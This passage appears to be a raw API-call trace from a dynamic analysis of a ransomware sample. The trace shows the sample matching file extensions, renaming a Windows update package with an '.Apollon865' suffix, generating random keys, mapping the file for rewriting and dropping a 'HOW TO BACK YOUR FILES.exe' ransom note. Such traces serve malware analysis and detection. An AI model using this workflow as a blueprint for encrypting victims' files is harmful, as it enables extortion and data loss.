	[0077.026] lstrcmpiW (lpString1="msu", lpString2="cdb") returned 1
	[0077.026] lstrlenW (lpString="ckp") returned 3
	[0077.026] lstrcmpiW (lpString1="msu", lpString2="ckp") returned 1
	[0077.026] lstrlenW (lpString="cma") returned 3
	[0077.026] lstrcmpiW (lpString1="msu", lpString2="cma") returned 1
	[0077.026] lstrlenW (lpString="cpd") returned 3
	[0077.026] lstrcmpiW (lpString1="msu", lpString2="cpd") returned 1
	[0077.027] lstrlenW (lpString="dacpac") returned 6
	[0077.027] lstrcmpiW (lpString1="64.msu", lpString2="dacpac") returned -1
	[0077.027] lstrlenW (lpString="dad") returned 3
	[0077.027] lstrcmpiW (lpString1="msu", lpString2="dad") returned 1
	[0077.027] lstrlenW (lpString="dadiagrams") returned 10
	[0077.027] lstrcmpiW (lpString1="26-x64.msu", lpString2="dadiagrams") returned -1
	[0077.027] lstrlenW (lpString="daschema") returned 8
	[0077.027] lstrcmpiW (lpString1="-x64.msu", lpString2="daschema") returned 1
	[0077.027] lstrlenW (lpString="db-journal") returned 10
	[0077.027] lstrcmpiW (lpString1="26-x64.msu", lpString2="db-journal") returned -1
	[0077.027] lstrlenW (lpString="db-shm") returned 6
	[0077.027] lstrcmpiW (lpString1="64.msu", lpString2="db-shm") returned -1
	[0077.027] lstrlenW (lpString="db-wal") returned 6
	[0077.027] lstrcmpiW (lpString1="64.msu", lpString2="db-wal") returned -1
	[0077.027] lstrlenW (lpString="dbc") returned 3
	[0077.027] lstrcmpiW (lpString1="msu", lpString2="dbc") returned 1
	[0077.027] lstrlenW (lpString="dbs") returned 3
	[0077.027] lstrcmpiW (lpString1="msu", lpString2="dbs") returned 1
	[0077.027] lstrlenW (lpString="dbt") returned 3
	[0077.027] lstrcmpiW (lpString1="msu", lpString2="dbt") returned 1
	[0077.027] lstrlenW (lpString="dbv") returned 3
	[0077.027] lstrcmpiW (lpString1="msu", lpString2="dbv") returned 1
	[0077.027] lstrlenW (lpString="dbx") returned 3
	[0077.027] lstrcmpiW (lpString1="msu", lpString2="dbx") returned 1
	[0077.027] lstrlenW (lpString="dcb") returned 3
	[0077.027] lstrcmpiW (lpString1="msu", lpString2="dcb") returned 1
	[0077.027] lstrlenW (lpString="dct") returned 3
	[0077.027] lstrcmpiW (lpString1="msu", lpString2="dct") returned 1
	[0077.027] lstrlenW (lpString="dcx") returned 3
	[0077.027] lstrcmpiW (lpString1="msu", lpString2="dcx") returned 1
	[0077.027] lstrlenW (lpString="ddl") returned 3
	[0077.027] lstrcmpiW (lpString1="msu", lpString2="ddl") returned 1
	[0077.027] lstrlenW (lpString="dlis") returned 4
	[0077.027] lstrcmpiW (lpString1=".msu", lpString2="dlis") returned -1
	[0077.027] lstrlenW (lpString="dp1") returned 3
	[0077.027] lstrcmpiW (lpString1="msu", lpString2="dp1") returned 1
	[0077.027] lstrlenW (lpString="dqy") returned 3
	[0077.028] lstrcmpiW (lpString1="msu", lpString2="dqy") returned 1
	[0077.028] lstrlenW (lpString="dsk") returned 3
	[0077.028] lstrcmpiW (lpString1="msu", lpString2="dsk") returned 1
	[0077.028] lstrlenW (lpString="dsn") returned 3
	[0077.028] lstrcmpiW (lpString1="msu", lpString2="dsn") returned 1
	[0077.028] lstrlenW (lpString="dtsx") returned 4
	[0077.028] lstrcmpiW (lpString1=".msu", lpString2="dtsx") returned -1
	[0077.028] lstrlenW (lpString="dxl") returned 3
	[0077.028] lstrcmpiW (lpString1="msu", lpString2="dxl") returned 1
	[0077.028] lstrlenW (lpString="eco") returned 3
	[0077.028] lstrcmpiW (lpString1="msu", lpString2="eco") returned 1
	[0077.028] lstrlenW (lpString="ecx") returned 3
	[0077.028] lstrcmpiW (lpString1="msu", lpString2="ecx") returned 1
	[0077.028] lstrlenW (lpString="edb") returned 3
	[0077.028] lstrcmpiW (lpString1="msu", lpString2="edb") returned 1
	[0077.028] lstrlenW (lpString="epim") returned 4
	[0077.028] lstrcmpiW (lpString1=".msu", lpString2="epim") returned -1
	[0077.028] lstrlenW (lpString="fcd") returned 3
	[0077.028] lstrcmpiW (lpString1="msu", lpString2="fcd") returned 1
	[0077.028] lstrlenW (lpString="fdb") returned 3
	[0077.028] lstrcmpiW (lpString1="msu", lpString2="fdb") returned 1
	[0077.028] lstrlenW (lpString="fic") returned 3
	[0077.028] lstrcmpiW (lpString1="msu", lpString2="fic") returned 1
	[0077.028] lstrlenW (lpString="flexolibrary") returned 12
	[0077.028] lstrcmpiW (lpString1="9226-x64.msu", lpString2="flexolibrary") returned -1
	[0077.028] lstrlenW (lpString="fm5") returned 3
	[0077.028] lstrcmpiW (lpString1="msu", lpString2="fm5") returned 1
	[0077.028] lstrlenW (lpString="fmp") returned 3
	[0077.028] lstrcmpiW (lpString1="msu", lpString2="fmp") returned 1
	[0077.028] lstrlenW (lpString="fmp12") returned 5
	[0077.028] lstrcmpiW (lpString1="4.msu", lpString2="fmp12") returned -1
	[0077.028] lstrlenW (lpString="fmpsl") returned 5
	[0077.028] lstrcmpiW (lpString1="4.msu", lpString2="fmpsl") returned -1
	[0077.028] lstrlenW (lpString="fol") returned 3
	[0077.028] lstrcmpiW (lpString1="msu", lpString2="fol") returned 1
	[0077.028] lstrlenW (lpString="fp3") returned 3
	[0077.028] lstrcmpiW (lpString1="msu", lpString2="fp3") returned 1
	[0077.028] lstrlenW (lpString="fp4") returned 3
	[0077.029] lstrcmpiW (lpString1="msu", lpString2="fp4") returned 1
	[0077.029] lstrlenW (lpString="fp5") returned 3
	[0077.029] lstrcmpiW (lpString1="msu", lpString2="fp5") returned 1
	[0077.029] lstrlenW (lpString="fp7") returned 3
	[0077.029] lstrcmpiW (lpString1="msu", lpString2="fp7") returned 1
	[0077.029] lstrlenW (lpString="fpt") returned 3
	[0077.029] lstrcmpiW (lpString1="msu", lpString2="fpt") returned 1
	[0077.029] lstrlenW (lpString="frm") returned 3
	[0077.029] lstrcmpiW (lpString1="msu", lpString2="frm") returned 1
	[0077.029] lstrlenW (lpString="gdb") returned 3
	[0077.029] lstrcmpiW (lpString1="msu", lpString2="gdb") returned 1
	[0077.029] lstrlenW (lpString="gdb") returned 3
	[0077.029] lstrcmpiW (lpString1="msu", lpString2="gdb") returned 1
	[0077.029] lstrlenW (lpString="grdb") returned 4
	[0077.029] lstrcmpiW (lpString1=".msu", lpString2="grdb") returned -1
	[0077.029] lstrlenW (lpString="gwi") returned 3
	[0077.029] lstrcmpiW (lpString1="msu", lpString2="gwi") returned 1
	[0077.029] lstrlenW (lpString="hdb") returned 3
	[0077.029] lstrcmpiW (lpString1="msu", lpString2="hdb") returned 1
	[0077.029] lstrlenW (lpString="his") returned 3
	[0077.029] lstrcmpiW (lpString1="msu", lpString2="his") returned 1
	[0077.029] lstrlenW (lpString="ib") returned 2
	[0077.029] lstrcmpiW (lpString1="su", lpString2="ib") returned 1
	[0077.029] lstrlenW (lpString="idb") returned 3
	[0077.029] lstrcmpiW (lpString1="msu", lpString2="idb") returned 1
	[0077.029] lstrlenW (lpString="ihx") returned 3
	[0077.029] lstrcmpiW (lpString1="msu", lpString2="ihx") returned 1
	[0077.029] lstrlenW (lpString="itdb") returned 4
	[0077.029] lstrcmpiW (lpString1=".msu", lpString2="itdb") returned -1
	[0077.029] lstrlenW (lpString="itw") returned 3
	[0077.029] lstrcmpiW (lpString1="msu", lpString2="itw") returned 1
	[0077.029] lstrlenW (lpString="jet") returned 3
	[0077.029] lstrcmpiW (lpString1="msu", lpString2="jet") returned 1
	[0077.029] lstrlenW (lpString="jtx") returned 3
	[0077.029] lstrcmpiW (lpString1="msu", lpString2="jtx") returned 1
	[0077.029] lstrlenW (lpString="kdb") returned 3
	[0077.029] lstrcmpiW (lpString1="msu", lpString2="kdb") returned 1
	[0077.029] lstrlenW (lpString="kexi") returned 4
	[0077.029] lstrcmpiW (lpString1=".msu", lpString2="kexi") returned -1
	[0077.030] lstrlenW (lpString="kexic") returned 5
	[0077.030] lstrcmpiW (lpString1="4.msu", lpString2="kexic") returned -1
	[0077.030] lstrlenW (lpString="kexis") returned 5
	[0077.030] lstrcmpiW (lpString1="4.msu", lpString2="kexis") returned -1
	[0077.030] lstrlenW (lpString="lgc") returned 3
	[0077.030] lstrcmpiW (lpString1="msu", lpString2="lgc") returned 1
	[0077.030] lstrlenW (lpString="lwx") returned 3
	[0077.030] lstrcmpiW (lpString1="msu", lpString2="lwx") returned 1
	[0077.030] lstrlenW (lpString="maf") returned 3
	[0077.030] lstrcmpiW (lpString1="msu", lpString2="maf") returned 1
	[0077.030] lstrlenW (lpString="maq") returned 3
	[0077.030] lstrcmpiW (lpString1="msu", lpString2="maq") returned 1
	[0077.030] lstrlenW (lpString="mar") returned 3
	[0077.030] lstrcmpiW (lpString1="msu", lpString2="mar") returned 1
	[0077.030] lstrlenW (lpString="marshal") returned 7
	[0077.030] lstrcmpiW (lpString1="x64.msu", lpString2="marshal") returned 1
	[0077.030] lstrlenW (lpString="mas") returned 3
	[0077.030] lstrcmpiW (lpString1="msu", lpString2="mas") returned 1
	[0077.030] lstrlenW (lpString="mav") returned 3
	[0077.030] lstrcmpiW (lpString1="msu", lpString2="mav") returned 1
	[0077.030] lstrlenW (lpString="maw") returned 3
	[0077.030] lstrcmpiW (lpString1="msu", lpString2="maw") returned 1
	[0077.030] lstrlenW (lpString="mdbhtml") returned 7
	[0077.030] lstrcmpiW (lpString1="x64.msu", lpString2="mdbhtml") returned 1
	[0077.030] lstrlenW (lpString="mdn") returned 3
	[0077.030] lstrcmpiW (lpString1="msu", lpString2="mdn") returned 1
	[0077.030] lstrlenW (lpString="mdt") returned 3
	[0077.030] lstrcmpiW (lpString1="msu", lpString2="mdt") returned 1
	[0077.030] lstrlenW (lpString="mfd") returned 3
	[0077.030] lstrcmpiW (lpString1="msu", lpString2="mfd") returned 1
	[0077.030] lstrlenW (lpString="mpd") returned 3
	[0077.030] lstrcmpiW (lpString1="msu", lpString2="mpd") returned 1
	[0077.030] lstrlenW (lpString="mrg") returned 3
	[0077.030] lstrcmpiW (lpString1="msu", lpString2="mrg") returned 1
	[0077.030] lstrlenW (lpString="mud") returned 3
	[0077.030] lstrcmpiW (lpString1="msu", lpString2="mud") returned -1
	[0077.030] lstrlenW (lpString="mwb") returned 3
	[0077.031] lstrcmpiW (lpString1="msu", lpString2="mwb") returned -1
	[0077.031] lstrlenW (lpString="myd") returned 3
	[0077.031] lstrcmpiW (lpString1="msu", lpString2="myd") returned -1
	[0077.031] lstrlenW (lpString="ndf") returned 3
	[0077.031] lstrcmpiW (lpString1="msu", lpString2="ndf") returned -1
	[0077.031] lstrlenW (lpString="nnt") returned 3
	[0077.031] lstrcmpiW (lpString1="msu", lpString2="nnt") returned -1
	[0077.031] lstrlenW (lpString="nrmlib") returned 6
	[0077.031] lstrcmpiW (lpString1="64.msu", lpString2="nrmlib") returned -1
	[0077.031] lstrlenW (lpString="ns2") returned 3
	[0077.031] lstrcmpiW (lpString1="msu", lpString2="ns2") returned -1
	[0077.031] lstrlenW (lpString="ns3") returned 3
	[0077.031] lstrcmpiW (lpString1="msu", lpString2="ns3") returned -1
	[0077.031] lstrlenW (lpString="ns4") returned 3
	[0077.031] lstrcmpiW (lpString1="msu", lpString2="ns4") returned -1
	[0077.031] lstrlenW (lpString="nsf") returned 3
	[0077.031] lstrcmpiW (lpString1="msu", lpString2="nsf") returned -1
	[0077.031] lstrlenW (lpString="nv") returned 2
	[0077.031] lstrcmpiW (lpString1="su", lpString2="nv") returned 1
	[0077.031] lstrlenW (lpString="nv2") returned 3
	[0077.031] lstrcmpiW (lpString1="msu", lpString2="nv2") returned -1
	[0077.031] lstrlenW (lpString="nwdb") returned 4
	[0077.031] lstrcmpiW (lpString1=".msu", lpString2="nwdb") returned -1
	[0077.031] lstrlenW (lpString="nyf") returned 3
	[0077.031] lstrcmpiW (lpString1="msu", lpString2="nyf") returned -1
	[0077.031] lstrlenW (lpString="odb") returned 3
	[0077.031] lstrcmpiW (lpString1="msu", lpString2="odb") returned -1
	[0077.031] lstrlenW (lpString="odb") returned 3
	[0077.031] lstrcmpiW (lpString1="msu", lpString2="odb") returned -1
	[0077.031] lstrlenW (lpString="oqy") returned 3
	[0077.031] lstrcmpiW (lpString1="msu", lpString2="oqy") returned -1
	[0077.031] lstrlenW (lpString="ora") returned 3
	[0077.031] lstrcmpiW (lpString1="msu", lpString2="ora") returned -1
	[0077.031] lstrlenW (lpString="orx") returned 3
	[0077.031] lstrcmpiW (lpString1="msu", lpString2="orx") returned -1
	[0077.031] lstrlenW (lpString="owc") returned 3
	[0077.031] lstrcmpiW (lpString1="msu", lpString2="owc") returned -1
	[0077.032] lstrlenW (lpString="p96") returned 3
	[0077.032] lstrcmpiW (lpString1="msu", lpString2="p96") returned -1
	[0077.032] lstrlenW (lpString="p97") returned 3
	[0077.032] lstrcmpiW (lpString1="msu", lpString2="p97") returned -1
	[0077.032] lstrlenW (lpString="pan") returned 3
	[0077.032] lstrcmpiW (lpString1="msu", lpString2="pan") returned -1
	[0077.032] lstrlenW (lpString="pdb") returned 3
	[0077.032] lstrcmpiW (lpString1="msu", lpString2="pdb") returned -1
	[0077.032] lstrlenW (lpString="pdm") returned 3
	[0077.032] lstrcmpiW (lpString1="msu", lpString2="pdm") returned -1
	[0077.032] lstrlenW (lpString="pnz") returned 3
	[0077.032] lstrcmpiW (lpString1="msu", lpString2="pnz") returned -1
	[0077.032] lstrlenW (lpString="qry") returned 3
	[0077.032] lstrcmpiW (lpString1="msu", lpString2="qry") returned -1
	[0077.032] lstrlenW (lpString="qvd") returned 3
	[0077.032] lstrcmpiW (lpString1="msu", lpString2="qvd") returned -1
	[0077.032] lstrlenW (lpString="rbf") returned 3
	[0077.032] lstrcmpiW (lpString1="msu", lpString2="rbf") returned -1
	[0077.032] lstrlenW (lpString="rctd") returned 4
	[0077.032] lstrcmpiW (lpString1=".msu", lpString2="rctd") returned -1
	[0077.032] lstrlenW (lpString="rod") returned 3
	[0077.032] lstrcmpiW (lpString1="msu", lpString2="rod") returned -1
	[0077.032] lstrlenW (lpString="rodx") returned 4
	[0077.032] lstrcmpiW (lpString1=".msu", lpString2="rodx") returned -1
	[0077.032] lstrlenW (lpString="rpd") returned 3
	[0077.032] lstrcmpiW (lpString1="msu", lpString2="rpd") returned -1
	[0077.032] lstrlenW (lpString="rsd") returned 3
	[0077.032] lstrcmpiW (lpString1="msu", lpString2="rsd") returned -1
	[0077.032] lstrlenW (lpString="sas7bdat") returned 8
	[0077.032] lstrcmpiW (lpString1="-x64.msu", lpString2="sas7bdat") returned 1
	[0077.032] lstrlenW (lpString="sbf") returned 3
	[0077.032] lstrcmpiW (lpString1="msu", lpString2="sbf") returned -1
	[0077.032] lstrlenW (lpString="scx") returned 3
	[0077.032] lstrcmpiW (lpString1="msu", lpString2="scx") returned -1
	[0077.032] lstrlenW (lpString="sdb") returned 3
	[0077.032] lstrcmpiW (lpString1="msu", lpString2="sdb") returned -1
	[0077.032] lstrlenW (lpString="sdc") returned 3
	[0077.032] lstrcmpiW (lpString1="msu", lpString2="sdc") returned -1
	[0077.032] lstrlenW (lpString="sdf") returned 3
	[0077.033] lstrcmpiW (lpString1="msu", lpString2="sdf") returned -1
	[0077.033] lstrlenW (lpString="sis") returned 3
	[0077.033] lstrcmpiW (lpString1="msu", lpString2="sis") returned -1
	[0077.033] lstrlenW (lpString="spq") returned 3
	[0077.033] lstrcmpiW (lpString1="msu", lpString2="spq") returned -1
	[0077.033] lstrlenW (lpString="te") returned 2
	[0077.033] lstrcmpiW (lpString1="su", lpString2="te") returned -1
	[0077.033] lstrlenW (lpString="teacher") returned 7
	[0077.033] lstrcmpiW (lpString1="x64.msu", lpString2="teacher") returned 1
	[0077.033] lstrlenW (lpString="tmd") returned 3
	[0077.033] lstrcmpiW (lpString1="msu", lpString2="tmd") returned -1
	[0077.033] lstrlenW (lpString="tps") returned 3
	[0077.033] lstrcmpiW (lpString1="msu", lpString2="tps") returned -1
	[0077.033] lstrlenW (lpString="trc") returned 3
	[0077.033] lstrcmpiW (lpString1="msu", lpString2="trc") returned -1
	[0077.033] lstrlenW (lpString="trc") returned 3
	[0077.033] lstrcmpiW (lpString1="msu", lpString2="trc") returned -1
	[0077.033] lstrlenW (lpString="trm") returned 3
	[0077.033] lstrcmpiW (lpString1="msu", lpString2="trm") returned -1
	[0077.033] lstrlenW (lpString="udb") returned 3
	[0077.033] lstrcmpiW (lpString1="msu", lpString2="udb") returned -1
	[0077.033] lstrlenW (lpString="udl") returned 3
	[0077.033] lstrcmpiW (lpString1="msu", lpString2="udl") returned -1
	[0077.033] lstrlenW (lpString="usr") returned 3
	[0077.033] lstrcmpiW (lpString1="msu", lpString2="usr") returned -1
	[0077.033] lstrlenW (lpString="v12") returned 3
	[0077.033] lstrcmpiW (lpString1="msu", lpString2="v12") returned -1
	[0077.033] lstrlenW (lpString="vis") returned 3
	[0077.033] lstrcmpiW (lpString1="msu", lpString2="vis") returned -1
	[0077.065] lstrlenW (lpString="vpd") returned 3
	[0077.065] lstrcmpiW (lpString1="msu", lpString2="vpd") returned -1
	[0077.065] lstrlenW (lpString="vvv") returned 3
	[0077.065] lstrcmpiW (lpString1="msu", lpString2="vvv") returned -1
	[0077.065] lstrlenW (lpString="wdb") returned 3
	[0077.065] lstrcmpiW (lpString1="msu", lpString2="wdb") returned -1
	[0077.065] lstrlenW (lpString="wmdb") returned 4
	[0077.065] lstrcmpiW (lpString1=".msu", lpString2="wmdb") returned -1
	[0077.065] lstrlenW (lpString="wrk") returned 3
	[0077.065] lstrcmpiW (lpString1="msu", lpString2="wrk") returned -1
	[0077.065] lstrlenW (lpString="xdb") returned 3
	[0077.065] lstrcmpiW (lpString1="msu", lpString2="xdb") returned -1
	[0077.065] lstrlenW (lpString="xld") returned 3
	[0077.065] lstrcmpiW (lpString1="msu", lpString2="xld") returned -1
	[0077.065] lstrlenW (lpString="xmlff") returned 5
	[0077.065] lstrcmpiW (lpString1="4.msu", lpString2="xmlff") returned -1
	[0077.065] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu.Apollon865") returned 132
	[0077.065] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu.Apollon865" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu.apollon865"), dwFlags=0x1) returned 1
	[0077.066] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu.Apollon865" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x100
	[0077.067] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1012025) returned 1
	[0077.067] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0077.067] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0077.067] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0077.067] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0077.068] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0077.068] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0077.068] CreateFileMappingW (hFile=0x100, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf7440, lpName=0x0) returned 0xd8
	[0077.091] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf7440) returned 0x3390000
	[0077.855] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bfc50) returned 1
	[0077.856] CryptGenRandom (in: hProv=0x5bfc50, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0077.856] CryptReleaseContext (hProv=0x5bfc50, dwFlags=0x0) returned 1
	[0077.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0077.856] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0077.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0077.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0077.856] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0077.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0077.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0077.856] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0077.856] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0077.856] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0077.856] UnmapViewOfFile (lpBaseAddress=0x3390000) returned 1
	[0077.866] CloseHandle (hObject=0xd8) returned 1
	[0077.866] CloseHandle (hObject=0x100) returned 1
	[0077.866] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0077.866] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0077.866] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0077.870] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59d2100, ftCreationTime.dwHighDateTime=0x1d0a100, ftLastAccessTime.dwLowDateTime=0x59d2100, ftLastAccessTime.dwHighDateTime=0x1d0a100, ftLastWriteTime.dwLowDateTime=0x59d2100, ftLastWriteTime.dwHighDateTime=0x1d0a100, nFileSizeHigh=0x0, nFileSizeLow=0xf7139, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 0
	[0077.870] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0077.870] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b90
	[0077.870] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Oracle", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Oracle") returned="C:\\Users\\All Users\\Oracle"
	[0077.870] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca1d0 | out: hHeap=0x580000) returned 1
	[0077.870] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0077.870] lstrlenW (lpString="C:\\Users\\All Users\\Oracle") returned 25
	[0077.870] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Oracle" | out: lpString1="C:\\Users\\All Users\\Oracle") returned="C:\\Users\\All Users\\Oracle"
	[0077.870] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.870] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Oracle\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\oracle\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0077.871] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0077.872] GetLastError () returned 0x0
	[0077.872] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0077.872] ReadFile (in: hFile=0x150, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0077.872] CloseHandle (hObject=0x150) returned 1
	[0077.872] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0077.872] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.872] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6d1090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca1d0
	[0077.872] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.872] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.872] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.872] FindNextFileW (in: hFindFile=0x5ca1d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6d1090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.872] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.872] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.872] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.872] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.873] FindNextFileW (in: hFindFile=0x5ca1d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f6d1090, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0077.873] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
